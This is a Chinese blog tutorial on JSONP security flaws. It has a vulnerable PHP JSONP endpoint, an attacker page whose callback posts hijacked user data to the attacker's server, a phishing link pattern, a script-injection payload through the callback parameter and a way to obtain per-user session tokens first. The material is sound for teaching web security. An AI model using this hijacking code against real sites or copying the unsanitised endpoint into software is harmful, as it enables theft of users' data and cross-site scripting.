JSONP的安全问题
前言:JSONP的安全问题
Jsonp是什么
Jsonp(JSON with Padding) 是 json 的一种"使用模式",可以让网页从别的域名(网站)那获取资料,即跨域读取数据。
为什么我们从不同的域(网站)访问数据需要一个特殊的技术(JSONP)呢?这是因为同源策略。
同源策略,它是由Netscape提出的一个著名的安全策略,现在所有支持JavaScript 的浏览器都会使用这个策略。
同源的条件:
1、协议相同
2、域名相同
3、端口相同
相关文章:https://www.sojson.com/blog/121.html
JSONP导致的劫持漏洞
服务端 GetUser.php
<?php header('Content-type: application/json'); $jsoncallback = htmlspecialchars($_REQUEST ['jsoncallback']);//获取回调函数名 $json_data='({"id":"1","name":"Aaron"})'; echo $jsoncallback . "(" . $json_data . ")";//输出jsonp格式的数据 ?>
攻击者
<?php $url = $_GET['url'] ? $_GET['url'] : "http://www.aaa.com"; $callback = $_GET['c'] ? $_GET['c'] : "json"; $url = htmlspecialchars(addslashes($url)); $callback = htmlspecialchars(addslashes($callback)); <script> function ccc(a){ var info = JSON.stringify(a) $.post("./get.php", { info: info, },); } </script> <script src="'. $url .'?'.$callback .'=ccc"></script>'; echo '<script src="./js/jquery-2.2.4.min.js"></script>'; ?>
攻击者构造了一个payload:
http://攻击者/jsonp/index.php?c=服务端的回调参数&url=http://服务端/getUser.php
然后将这个发送给受害者,当受害者一点击了,攻击者就能获取受害者相应的敏感信息
JSONP导致的XSS漏洞
服务端 GetUser.php
<?php header('Content-type: application/json'); $jsoncallback = $_REQUEST ['jsoncallback'];//获取回调函数名 $json_data='({"id":"1","name":"Aaron"})'; echo $jsoncallback . "(" . $json_data . ")";//输出jsonp格式的数据 ?>
攻击者构造了一个payload:
http://服务端/getUser.php?jsoncallback=<script>alert(1)</script>
JSONP验证如何绕过
这里随便讲下案例,如果jsonp要劫持的数据是基于验证的操作,就比如getuserinfo?session=OJ.qsiU 这种格式的,其中OJ.qsiU
这段数据每个用户都是不同的,那么这里的话有什么办法绕过呢?
这时候你可以全局搜索这段OJ.qsiU
是在哪里出现的,如果它是在某个js文件中出现并且是基于webpackjsonp(...)这种格式的,那么可以再劫持这个js文件中的数据,从而拿到该验证字段OJ.qsiU
,然后再去访问getuserinfo?session接口实现jsonp劫持
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY